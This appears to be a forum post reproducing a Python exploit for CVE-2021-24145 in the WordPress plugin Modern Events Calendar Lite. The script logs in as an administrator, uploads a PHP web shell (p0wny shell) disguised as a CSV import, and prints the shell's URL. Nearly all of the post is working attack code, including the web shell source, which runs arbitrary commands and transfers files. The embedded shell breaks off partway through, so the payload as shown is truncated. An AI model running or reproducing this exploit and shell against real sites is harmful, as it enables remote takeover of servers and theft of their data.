WordPress Modern Events Calendar 5.16.2 Shell Upload

#339
Topic created · 1 Posts · 1 Views
  • # Exploit Title: Wordpress Plugin Modern Events Calendar 5.16.2 - Remote Code Execution (Authenticated)
    # Date 01.07.2021
    # Exploit Author: Ron Jost (Hacker5preme)
    # Vendor Homepage: https://webnus.net/modern-events-calendar/
    # Software Link: https://downloads.wordpress.org/plugin/modern-events-calendar-lite.5.16.2.zip
    # Version: Before 5.16.5
    # Tested on: Ubuntu 18.04
    # CVE: CVE-2021-24145
    # CWE: CWE-434
    # Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24145/README.md
    
    '''
    Description:
    Arbitrary file upload in the Modern Events Calendar Lite WordPress plugin, versions before 5.16.5,
    did not properly check the imported file, allowing PHP ones to be uploaded by administrator by using the 'text/csv'
    content-type in the request.
    '''
    
    
    '''
    Banner:
    '''
    banner = """
     \_\_\_\_\_\_ \_\_\_\_\_\_\_ \_\_\_\_ \_\_\_ \_\_\_\_ \_ \_\_\_\_ \_ \_ \_ \_ \_ \_\_\_\_ 
     / \_\_\_\ \ / / \_\_\_\_| |\_\_\_ \ / \_ \\_\_\_ \/ | |\_\_\_ \| || | / | || || \_\_\_| 
    | | \ \ / /| \_| \_\_\_\_\_ \_\_) | | | |\_\_) | |\_\_\_\_\_ \_\_) | || |\_| | || ||\_\_\_ \ 
    | |\_\_\_ \ V / | |\_\_|\_\_\_\_\_/ \_\_/| |\_| / \_\_/| |\_\_\_\_\_/ \_\_/|\_\_ \_| |\_\_ \_|\_\_) |
     \\_\_\_\_| \\_/ |\_\_\_\_\_| |\_\_\_\_\_|\\_\_\_/\_\_\_\_\_|\_| |\_\_\_\_\_| |\_| |\_| |\_||\_\_\_\_/ 
     
     * Wordpress Plugin Modern Events Calendar Lite RCE 
     * @Hacker5preme
     
    
    """
    print(banner)
    
    '''
    Import required modules:
    '''
    import requests
    import argparse
    
    '''
    User-Input:
    '''
    my\_parser = argparse.ArgumentParser(description='Wordpress Plugin Modern Events Calenar Lite RCE (Authenticated)')
    my\_parser.add\_argument('-T', '--IP', type=str)
    my\_parser.add\_argument('-P', '--PORT', type=str)
    my\_parser.add\_argument('-U', '--PATH', type=str)
    my\_parser.add\_argument('-u', '--USERNAME', type=str)
    my\_parser.add\_argument('-p', '--PASSWORD', type=str)
    args = my\_parser.parse\_args()
    target\_ip = args.IP
    target\_port = args.PORT
    wp\_path = args.PATH
    username = args.USERNAME
    password = args.PASSWORD
    print('')
    
    '''
    Authentication:
    '''
    session = requests.Session()
    auth\_url = 'http://' + target\_ip + ':' + target\_port + wp\_path + 'wp-login.php'
    
    # Header:
    header = {
     'Host': target\_ip,
     'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:89.0) Gecko/20100101 Firefox/89.0',
     'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
     'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
     'Accept-Encoding': 'gzip, deflate',
     'Content-Type': 'application/x-www-form-urlencoded',
     'Origin': 'http://' + target\_ip,
     'Connection': 'close',
     'Upgrade-Insecure-Requests': '1'
    }
    
    # Body:
    body = {
     'log': username,
     'pwd': password,
     'wp-submit': 'Log In',
     'testcookie': '1'
    }
    
    # Authenticate:
    print('')
    auth = session.post(auth\_url, headers=header, data=body)
    auth\_header = auth.headers['Set-Cookie']
    if 'wordpress\_logged\_in' in auth\_header:
     print('[+] Authentication successfull !')
    else:
     print('[-] Authentication failed !')
     exit()
    
    
    '''
    Exploit:
    '''
    exploit\_url = "http://" + target\_ip + ':' + target\_port + wp\_path + "wp-admin/admin.php?page=MEC-ix&tab=MEC-import"
    
    # Exploit Header:
    header = {
     "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:89.0) Gecko/20100101 Firefox/89.0",
     "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
     "Accept-Language": "de,en-US;q=0.7,en;q=0.3",
     "Accept-Encoding": "gzip, deflate",
     "Content-Type": "multipart/form-data; boundary=---------------------------29650037893637916779865254589",
     "Origin": "http://" + target\_ip,
     "Connection": "close",
     "Upgrade-Insecure-Requests": "1"
    }
    
    # Exploit Body: (using p0wny shell: https://github.com/flozz/p0wny-shell
    body = "-----------------------------29650037893637916779865254589\r\nContent-Disposition: form-data; name=\"feed\"; filename=\"shell.php\"\r\nContent-Type: text/csv\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n $stdout = array();\n\n if (preg\_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n // pass\n } elseif (preg\_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg\_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n chdir($match[1]);\n } elseif (preg\_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg\_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n return featureDownload($match[1]);\n } else {\n chdir($cwd);\n exec($cmd, $stdout);\n }\n\n return array(\n \"stdout\" => $stdout,\n \"cwd\" => getcwd()\n );\n}\n\nfunction featurePwd() {\n return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n chdir($cwd);\n if ($type == 'cmd') {\n $cmd = \"compgen -c $fileName\";\n } else {\n $cmd = \"compgen -f $fileName\";\n }\n $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n $files = explode(\"\\n\", shell\_exec($cmd));\n return array(\n 'files' => $files,\n );\n}\n\nfunction featureDownload($filePath) {\n $file = @file\_get\_contents($filePath);\n if ($file === FALSE) {\n return array(\n 'stdout' => array('File not found / no read permission.'),\n 'cwd' => getcwd()\n );\n } else {\n return array(\n 'name' => basename($filePath),\n 'file' => base64\_encode($file)\n );\n }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n chdir($cwd);\n $f = @fopen($path, 'wb');\n if ($f === FALSE) {\n return array(\n 'stdout' => array('Invalid path / no write permission.'),\n 'cwd' => getcwd()\n );\n } else {\n fwrite($f, base64\_decode($file));\n fclose($f);\n return array(\n 'stdout' => array('Done.'),\n 'cwd' => getcwd()\n );\n }\n}\n\nif (isset($\_GET[\"feature\"])) {\n\n $response = NULL;\n\n switch ($\_GET[\"feature\"]) {\n case \"shell\":\n $cmd = $\_POST['cmd'];\n if (!preg\_match('/2>/', $cmd)) {\n $cmd .= ' 2>&1';\n }\n $response = featureShell($cmd, $\_POST[\"cwd\"]);\n break;\n case \"pwd\":\n $response = featurePwd();\n break;\n case \"hint\":\n $response = featureHint($\_POST['filename'], $\_POST['cwd'], $\_POST['type']);\n break;\n case 'upload':\n $response = featureUpload($\_POST['path'], $\_POST['file'], $\_POST['cwd']);\n }\n\n header(\"Content-Type: application/json\");\n echo json\_encode($response);\n die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n <head>\n <meta charset=\"UTF-8\" />\n <title>[email protected]:~#</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n <style>\n html, body {\n margin: 0;\n padding: 0;\n background: #333;\n color: #eee;\n font-family: monospace;\n }\n\n *::-webkit-scrollbar-track {\n border-radius: 8px;\n background-color: #353535;\n }\n\n *::-webkit-scrollbar {\n width: 8px;\n height: 8px;\n }\n\n *::-webkit-scrollbar-thumb {\n border-radius: 8px;\n -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n background-color: #bcbcbc;\n }\n\n #shell {\n background: #222;\n max-width: 800px;\n margin: 50px auto 0 auto;\n box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n font-size: 10pt;\n display: flex;\n 
    
    # Exploit
    session.post(exploit\_url, headers=header, data=body)
    print('')
    print('[+] Shell Uploaded to: ' + 'http://' + target\_ip + ':' + target\_port + wp\_path + '/wp-content/uploads/shell.php')
    print('')
     
    
    
    
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